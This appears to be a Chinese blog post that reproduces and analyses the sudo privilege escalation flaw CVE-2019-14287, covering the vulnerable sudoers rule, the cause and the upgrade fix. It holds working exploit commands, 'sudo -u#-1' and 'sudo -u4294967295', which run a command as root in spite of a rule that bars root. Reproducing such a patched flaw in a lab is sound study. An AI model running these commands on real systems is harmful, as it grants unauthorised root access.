sudo提权(CVE-2019-14287)复现及原理分析

介绍

sudo,也就是以超级管理员身份运行(superuser do)的意思。sudo是 Linux中最常使用的重要实用程序之一,它功能十分强大,几乎安装在每一款基于UNIX或 Linux的操作系统上,也是这些操作系统的核心命令。作为一个系统命令,普通用户可通过它以特殊权限来运行程序或命令(通常以root用户身份运行命令),而无需切换使用环境。
管理员可以配置 sudoers 文件,来定义哪些用户可以运行哪些命令。即便限制了用户以 root 身份运行特定或任何命令,该漏洞也可允许用户绕过此安全策略,并完全控制系统。

复现

准备条件:

1.sudo 版本 小于1.8.28

sudo -V 查看sudo版本

2.配置sudoers安全策略

vi /etc/sudoers

新建普通用户/设置密码:useradd/passwd

切换到test用户执行mkdir命令,提示没有权限

提权:
sudo -u#-1 mkdir test

sudo -u4294967295 mkdir test2

可见目录成功以root身份创建属组为test

修复及影响


该漏洞影响最新版本 1.8.28 之前的所有 Sudo 版本。
升级到 sudo 1.8.28
检索/etc/sudoers 是否存在 ALL 关键词的复合限制逻辑
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://www.sudo.ws/alerts/minus_1_uid.html

总结分析


一直不明白为什么要配置sudoers才能触发此漏洞,特意去了解了一下sudo/sudoers
上文复现过程中我们在sudoers加了这样一条配置:
test ALL=(ALL,!root) /usr/bin/mkdir
意为:将授权用户test在所可能出现的主机上切换到非root的所有用户执行/usr/bin/mkdir

  • test表示将要授权的用户
  • 第一个ALL表示所有主机
  • (ALL,!root) 除root外的所有用户
  • /usr/bin/mkdir 表示授权的命令 命令都是使用绝对路径, 这是为了避免目录下有同名命令被执行,从而造成安全隐患。
再来看一下sudo命令执行过程 :

sudo命令:将当前用户切换到超级用户下,或切换到指定的用户下,然后以超级用户或其指定切换到的用户身份执行命令,执行完成后,直接退回到当前用户。

具体工作过程如下:   
1->当用户执行sudo时,系统会主动寻找/etc/sudoers文件,判断该用户是否有执行sudo的权限   
2–>确认用户具有可执行sudo的权限后,让用户输入用户自己的密码确认   
3–>若密码输入成功,则开始执行sudo后续的命令
4–>sudo -u#-1 mkdir

Sudo 开发者说到: “即便 RunAs 规约明确禁止 root 用户访问,但如果 Runas 规约文件中首先列出了 ALL 关键字,具有 sudo 权限的用户就可以使用它来以 root 身份运行任意命令。

已经知道在第一步已经走过sudoers文件,说明咱的Sudo -u#-1 or 4294967295 是拥有权限的而且sudo到非root,然后在执行sudo -u#-1 mkdir命令时将用户ID转换为用户名的函数会将-1(或无效等效的4294967295)误认为是0,而这正好是root用户User ID。此外,由于通过-u选项指定的User ID在密码数据库中不存在,因此不会运行任何PAM会话模块。个人感觉与其说是一个漏洞倒不如说是一个bug。

去年的东西,突然发现一直再草稿箱,欢迎前列腺!😏

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值